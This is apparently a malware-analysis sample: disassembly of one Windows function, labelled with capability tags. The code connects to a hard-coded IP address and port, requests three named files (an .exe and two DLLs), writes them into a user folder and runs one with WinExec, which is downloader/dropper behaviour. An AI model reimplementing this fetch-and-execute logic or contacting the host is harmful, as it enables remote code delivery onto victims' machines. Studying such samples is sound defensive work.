Function at 0x402d30
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create process on windows
Create tcp socket
Get common file path
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41fd60
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x598
mov eax, dword [0x42b080]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x560]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x402deb
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x402de5
mov eax, 2
push str.39.109.114.74
mov word [ebp - 0x1c0], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0x271a
mov dword [ebp - 0x1bc], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1be], ax
lea eax, [ebp - 0x1c0]
push 0x10
push eax
push edi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x402df5
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x403c7b
call fcn.004064b0
mov esi, eax
push 0xa
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
call fcn.004061e0
movzx ecx, al
push ecx
mov ecx, esi
call fcn.00407140
mov ecx, esi
call fcn.00405db0
lea eax, [ebp - 0x120]
push eax
push 0
push 0
push 5
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xorps xmm0, xmm0
mov dword [ebp - 0x1a0], 0
lea ecx, [ebp - 0x120]
mov dword [ebp - 0x19c], 0
movups xmmword [ebp - 0x1b0], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402e58
sub ecx, edx
lea eax, [ebp - 0x120]
push ecx
push eax
lea ecx, [ebp - 0x1b0]
call fcn.00406c10
push 8
xorps xmm0, xmm0
mov dword [ebp - 0x140], 0
push str.xqbg.exe
lea ecx, [ebp - 0x150]
mov dword [ebp - 0x13c], 0
movups xmmword [ebp - 0x150], xmm0
call fcn.00406c10
cmp dword [ebp - 0x13c], 0xf
lea eax, [ebp - 0x150]
push 0
push dword [ebp - 0x140]
cmova eax, dword [ebp - 0x150]
push eax
push edi
call dword [sym.imp.WS2_32.dll_send]
push 0
push 4
lea eax, [ebp - 0x564]
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 4
jne 0x402fd4
push dword [ebp - 0x564]
call fcn.0040855a
mov ecx, dword [ebp - 0x564]
add esp, 4
xor esi, esi
mov dword [ebp - 0x56c], eax
test ecx, ecx
jle 0x402f2c
push 0
sub ecx, esi
add eax, esi
push ecx
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x402fc5
mov ecx, dword [ebp - 0x564]
add esi, eax
mov eax, dword [ebp - 0x56c]
cmp esi, ecx
jl 0x402f03
push 0x428040
lea edx, [ebp - 0x1b0]
lea ecx, [ebp - 0x5a8]
call fcn.00406760
mov ecx, dword [ebp - 0x140]
mov esi, eax
add esp, 4
mov dword [ebp - 0x578], ecx
cmp dword [ebp - 0x13c], 0xf
lea eax, [ebp - 0x150]
cmova eax, dword [ebp - 0x150]
mov edx, dword [esi + 0x10]
mov dword [ebp - 0x570], eax
mov eax, dword [esi + 0x14]
sub eax, edx
mov dword [ebp - 0x568], edx
cmp ecx, eax
ja 0x402feb
cmp dword [esi + 0x14], 0xf
lea eax, [ecx + edx]
mov dword [esi + 0x10], eax
mov eax, esi
mov dword [ebp - 0x574], esi
jbe 0x402f9b
mov eax, dword [esi]
mov dword [ebp - 0x574], eax
push ecx
push dword [ebp - 0x570]
add eax, edx
push eax
call fcn.00409950
mov eax, dword [ebp - 0x578]
add esp, 0xc
add eax, dword [ebp - 0x574]
mov ecx, dword [ebp - 0x568]
mov byte [eax + ecx], 0
jmp 0x403009
mov esi, dword [ebp - 0x56c]
push esi
call fcn.00408517
add esp, 4
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov esi, 1
jmp 0x403bee
push ecx
push dword [ebp - 0x570]
mov byte [ebp - 0x568], 0
push dword [ebp - 0x568]
push ecx
mov ecx, esi
call fcn.00406fd0
mov esi, eax
mov dword [ebp - 0x128], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x138], xmm0
mov dword [ebp - 0x124], 0
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0x138], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x128], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov ecx, dword [ebp - 0x594]
cmp ecx, 0xf
jbe 0x403089
mov edx, dword [ebp - 0x5a8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40307f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403c9b
push ecx
push edx
call fcn.0040854c
add esp, 8
push 0xb0
lea eax, [ebp - 0x3d0]
push 0
push eax
call fcn.00409ef0
cmp dword [ebp - 0x124], 0xf
lea eax, [ebp - 0x138]
lea ecx, [ebp - 0x3d0]
cmova eax, dword [ebp - 0x138]
push eax
call fcn.00405850
mov eax, dword [ebp - 0x3d0]
mov esi, dword [ebp - 0x56c]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x3d0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x3d4], eax
cmp dword [ebp - 0x380], 0
jne 0x403112
push esi
call fcn.00408517
add esp, 4
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov esi, 1
jmp 0x403b20
mov eax, dword [ebp - 0x564]
lea ecx, [ebp - 0x3d0]
cdq
push edx
push eax
push esi
call fcn.00404c60
lea ecx, [ebp - 0x3cc]
call fcn.00405730
test eax, eax
jne 0x40315f
mov eax, dword [ebp - 0x3d0]
lea ecx, [ebp - 0x3d0]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00401ed0
push esi
call fcn.00408517
add esp, 4
mov dword [ebp - 0x170], 0
xorps xmm0, xmm0
mov dword [ebp - 0x16c], 0
lea ecx, [ebp - 0x180]
movups xmmword [ebp - 0x180], xmm0
push 0xb
push str.libcurl.dll
call fcn.00406c10
cmp dword [ebp - 0x16c], 0xf
lea eax, [ebp - 0x180]
push 0
push dword [ebp - 0x170]
cmova eax, dword [ebp - 0x180]
push eax
push edi
call dword [sym.imp.WS2_32.dll_send]
push 0
push 4
lea eax, [ebp - 0x564]
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 4
jne 0x4032c6
push dword [ebp - 0x564]
call fcn.0040855a
mov ecx, dword [ebp - 0x564]
add esp, 4
xor esi, esi
mov dword [ebp - 0x56c], eax
test ecx, ecx
jle 0x403220
push 0
sub ecx, esi
add eax, esi
push ecx
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x4032b7
mov ecx, dword [ebp - 0x564]
add esi, eax
mov eax, dword [ebp - 0x56c]
cmp esi, ecx
jl 0x4031f7
push 0x428040
lea edx, [ebp - 0x1b0]
lea ecx, [ebp - 0x5a8]
call fcn.00406760
mov edx, dword [ebp - 0x170]
lea esi, [ebp - 0x180]
mov ecx, eax
mov dword [ebp - 0x578], edx
add esp, 4
mov dword [ebp - 0x574], ecx
cmp dword [ebp - 0x16c], 0xf
mov eax, dword [ecx + 0x10]
cmova esi, dword [ebp - 0x180]
mov dword [ebp - 0x570], eax
mov eax, dword [ecx + 0x14]
sub eax, dword [ebp - 0x570]
mov dword [ebp - 0x568], esi
cmp edx, eax
ja 0x4032dd
cmp dword [ecx + 0x14], 0xf
mov esi, dword [ebp - 0x570]
lea eax, [edx + esi]
mov dword [ecx + 0x10], eax
mov eax, ecx
jbe 0x403293
mov eax, dword [ecx]
push edx
push dword [ebp - 0x568]
add esi, eax
push esi
call fcn.00409950
mov eax, dword [ebp - 0x578]
add esp, 0xc
mov byte [eax + esi], 0
mov eax, dword [ebp - 0x574]
jmp 0x4032f2
mov esi, dword [ebp - 0x56c]
push esi
call fcn.00408517
add esp, 4
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov esi, 1
jmp 0x403acb
push edx
push esi
mov byte [ebp - 0x568], 0
push dword [ebp - 0x568]
push edx
call fcn.00406fd0
movups xmm0, xmmword [eax]
lea ecx, [ebp - 0x138]
movups xmmword [ebp - 0x590], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x590]
push eax
movq qword [ebp - 0x580], xmm0
call fcn.00404f10
mov ecx, dword [ebp - 0x57c]
cmp ecx, 0xf
jbe 0x403366
mov edx, dword [ebp - 0x590]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40335c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403ca0
push ecx
push edx
call fcn.0040854c
add esp, 8
mov ecx, dword [ebp - 0x594]
cmp ecx, 0xf
jbe 0x4033a0
mov edx, dword [ebp - 0x5a8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403396
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403ca0
push ecx
push edx
call fcn.0040854c
add esp, 8
push 0xb0
lea eax, [ebp - 0x320]
push 0
push eax
call fcn.00409ef0
cmp dword [ebp - 0x124], 0xf
lea eax, [ebp - 0x138]
lea ecx, [ebp - 0x320]
cmova eax, dword [ebp - 0x138]
push eax
call fcn.00405850
mov eax, dword [ebp - 0x320]
mov esi, dword [ebp - 0x56c]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x320]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x324], eax
cmp dword [ebp - 0x2d0], 0
jne 0x403429
push esi
call fcn.00408517
add esp, 4
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov esi, 1
jmp 0x403a4b
mov eax, dword [ebp - 0x564]
lea ecx, [ebp - 0x320]
cdq
push edx
push eax
push esi
call fcn.00404c60
lea ecx, [ebp - 0x31c]
call fcn.00405730
test eax, eax
jne 0x403476
mov eax, dword [ebp - 0x320]
lea ecx, [ebp - 0x320]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00401ed0
push esi
call fcn.00408517
add esp, 4
mov dword [ebp - 0x158], 0
xorps xmm0, xmm0
mov dword [ebp - 0x154], 0
lea ecx, [ebp - 0x168]
movups xmmword [ebp - 0x168], xmm0
push 0xb
push str.ycomuiu.dll
call fcn.00406c10
cmp dword [ebp - 0x154], 0xf
lea eax, [ebp - 0x168]
push 0
push dword [ebp - 0x158]
cmova eax, dword [ebp - 0x168]
push eax
push edi
call dword [sym.imp.WS2_32.dll_send]
push 0
push 4
lea eax, [ebp - 0x564]
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 4
jne 0x4035df
push dword [ebp - 0x564]
call fcn.0040855a
mov ecx, dword [ebp - 0x564]
add esp, 4
xor esi, esi
mov dword [ebp - 0x56c], eax
test ecx, ecx
jle 0x403539
nop
push 0
sub ecx, esi
add eax, esi
push ecx
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x4035d0
mov ecx, dword [ebp - 0x564]
add esi, eax
mov eax, dword [ebp - 0x56c]
cmp esi, ecx
jl 0x403510
push 0x428040
lea edx, [ebp - 0x1b0]
lea ecx, [ebp - 0x5a8]
call fcn.00406760
mov edx, dword [ebp - 0x158]
lea esi, [ebp - 0x168]
mov ecx, eax
mov dword [ebp - 0x578], edx
add esp, 4
mov dword [ebp - 0x574], ecx
cmp dword [ebp - 0x154], 0xf
mov eax, dword [ecx + 0x10]
cmova esi, dword [ebp - 0x168]
mov dword [ebp - 0x570], eax
mov eax, dword [ecx + 0x14]
sub eax, dword [ebp - 0x570]
mov dword [ebp - 0x568], esi
cmp edx, eax
ja 0x4035f6
cmp dword [ecx + 0x14], 0xf
mov esi, dword [ebp - 0x570]
lea eax, [esi + edx]
mov dword [ecx + 0x10], eax
mov eax, ecx
jbe 0x4035ac
mov eax, dword [ecx]
push edx
push dword [ebp - 0x568]
add esi, eax
push esi
call fcn.00409950
mov eax, dword [ebp - 0x578]
add esp, 0xc
mov byte [eax + esi], 0
mov eax, dword [ebp - 0x574]
jmp 0x40360b
mov esi, dword [ebp - 0x56c]
push esi
call fcn.00408517
add esp, 4
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov esi, 1
jmp 0x4039f6
push edx
push esi
mov byte [ebp - 0x568], 0
push dword [ebp - 0x568]
push edx
call fcn.00406fd0
movups xmm0, xmmword [eax]
lea ecx, [ebp - 0x138]
movups xmmword [ebp - 0x590], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x590]
push eax
movq qword [ebp - 0x580], xmm0
call fcn.00404f10
mov ecx, dword [ebp - 0x57c]
cmp ecx, 0xf
jbe 0x40367f
mov edx, dword [ebp - 0x590]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403675
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403ca5
push ecx
push edx
call fcn.0040854c
add esp, 8
mov ecx, dword [ebp - 0x594]
cmp ecx, 0xf
jbe 0x4036b9
mov edx, dword [ebp - 0x5a8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4036af
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403ca5
push ecx
push edx
call fcn.0040854c
add esp, 8
push 0xb0
lea eax, [ebp - 0x270]
push 0
push eax
call fcn.00409ef0
cmp dword [ebp - 0x124], 0xf
lea eax, [ebp - 0x138]
lea ecx, [ebp - 0x270]
cmova eax, dword [ebp - 0x138]
push eax
call fcn.00405850
mov eax, dword [ebp - 0x270]
mov esi, dword [ebp - 0x56c]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x270]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x274], eax
cmp dword [ebp - 0x220], 0
jne 0x403742
push esi
call fcn.00408517
add esp, 4
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov esi, 1
jmp 0x403976
mov eax, dword [ebp - 0x564]
lea ecx, [ebp - 0x270]
cdq
push edx
push eax
push esi
call fcn.00404c60
lea ecx, [ebp - 0x26c]
call fcn.00405730
test eax, eax
jne 0x40378f
mov eax, dword [ebp - 0x270]
lea ecx, [ebp - 0x270]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00401ed0
push esi
call fcn.00408517
add esp, 4
lea edx, [ebp - 0x1b0]
lea ecx, [ebp - 0x590]
push 0x42805c
call fcn.00406760
mov ecx, dword [ebp - 0x140]
mov esi, eax
add esp, 4
mov dword [ebp - 0x568], ecx
cmp dword [ebp - 0x13c], 0xf
lea eax, [ebp - 0x150]
cmova eax, dword [ebp - 0x150]
mov edx, dword [esi + 0x10]
mov dword [ebp - 0x574], eax
mov eax, dword [esi + 0x14]
sub eax, edx
mov dword [ebp - 0x578], edx
cmp ecx, eax
ja 0x403831
cmp dword [esi + 0x14], 0xf
lea eax, [edx + ecx]
mov dword [esi + 0x10], eax
mov eax, esi
mov dword [ebp - 0x570], esi
jbe 0x403807
mov eax, dword [esi]
mov dword [ebp - 0x570], eax
push ecx
push dword [ebp - 0x574]
add eax, edx
push eax
call fcn.00409950
mov eax, dword [ebp - 0x568]
add esp, 0xc
add eax, dword [ebp - 0x570]
mov ecx, dword [ebp - 0x578]
mov byte [eax + ecx], 0
jmp 0x40384f
push ecx
push dword [ebp - 0x574]
mov byte [ebp - 0x568], 0
push dword [ebp - 0x568]
push ecx
mov ecx, esi
call fcn.00406fd0
mov esi, eax
mov dword [ebp - 0x188], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x198], xmm0
mov dword [ebp - 0x184], 0
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0x198], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x188], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov ecx, dword [ebp - 0x57c]
cmp ecx, 0xf
jbe 0x4038cf
mov edx, dword [ebp - 0x590]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4038c5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403caa
push ecx
push edx
call fcn.0040854c
add esp, 8
lea ecx, [ebp - 0x198]
mov dword [ebp - 0x580], 0
mov dword [ebp - 0x57c], 0xf
mov byte [ebp - 0x590], 0
call fcn.00402b40
test al, al
je 0x403916
cmp dword [ebp - 0x184], 0xf
lea eax, [ebp - 0x198]
push 1
cmova eax, dword [ebp - 0x198]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [ebp - 0x184]
xor esi, esi
cmp ecx, 0xf
jbe 0x40395f
mov edx, dword [ebp - 0x198]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403955
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403caf
push ecx
push edx
call fcn.0040854c
add esp, 8
mov dword [ebp - 0x188], esi
mov dword [ebp - 0x184], 0xf
mov byte [ebp - 0x198], 0
mov eax, dword [ebp - 0x270]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x270]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x274], eax
lea ecx, [ebp - 0x26c]
call fcn.004048f0
mov eax, dword [ebp - 0x270]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x270]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x274], eax
lea eax, [ebp - 0x208]
mov dword [ebp - 4], 0
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.00407e1f
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x154]
cmp ecx, 0xf
jbe 0x403a30
mov edx, dword [ebp - 0x168]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403a26
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403caf
push ecx
push edx
call fcn.0040854c
add esp, 8
mov dword [ebp - 0x158], 0
mov dword [ebp - 0x154], 0xf
mov byte [ebp - 0x168], 0
mov eax, dword [ebp - 0x320]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x320]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x324], eax
lea ecx, [ebp - 0x31c]
call fcn.004048f0
mov eax, dword [ebp - 0x320]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x320]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x324], eax
lea eax, [ebp - 0x2b8]
mov dword [ebp - 4], 1
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.00407e1f
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x16c]
cmp ecx, 0xf
jbe 0x403b05
mov edx, dword [ebp - 0x180]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403afb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403caf
push ecx
push edx
call fcn.0040854c
add esp, 8
mov dword [ebp - 0x170], 0
mov dword [ebp - 0x16c], 0xf
mov byte [ebp - 0x180], 0
mov eax, dword [ebp - 0x3d0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x3d0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x3d4], eax
lea ecx, [ebp - 0x3cc]
call fcn.004048f0
mov eax, dword [ebp - 0x3d0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x3d0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x3d4], eax
lea eax, [ebp - 0x368]
mov dword [ebp - 4], 2
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.00407e1f
mov ecx, dword [ebp - 0x124]
add esp, 4
cmp ecx, 0xf
jbe 0x403bd3
mov edx, dword [ebp - 0x138]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403bc9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403caf
push ecx
push edx
call fcn.0040854c
add esp, 8
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x124], 0xf
mov byte [ebp - 0x138], 0
mov ecx, dword [ebp - 0x13c]
cmp ecx, 0xf
jbe 0x403c28
mov edx, dword [ebp - 0x150]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403c1e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403caf
push ecx
push edx
call fcn.0040854c
add esp, 8
mov ecx, dword [ebp - 0x19c]
mov dword [ebp - 0x140], 0
mov dword [ebp - 0x13c], 0xf
mov byte [ebp - 0x150], 0
cmp ecx, 0xf
jbe 0x403c79
mov edx, dword [ebp - 0x1b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403c6f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403caf
push ecx
push edx
call fcn.0040854c
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00408509
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 0x10
call fcn.0040e629
call fcn.0040e629
call fcn.0040e629
call fcn.0040e629
call fcn.0040e629
int3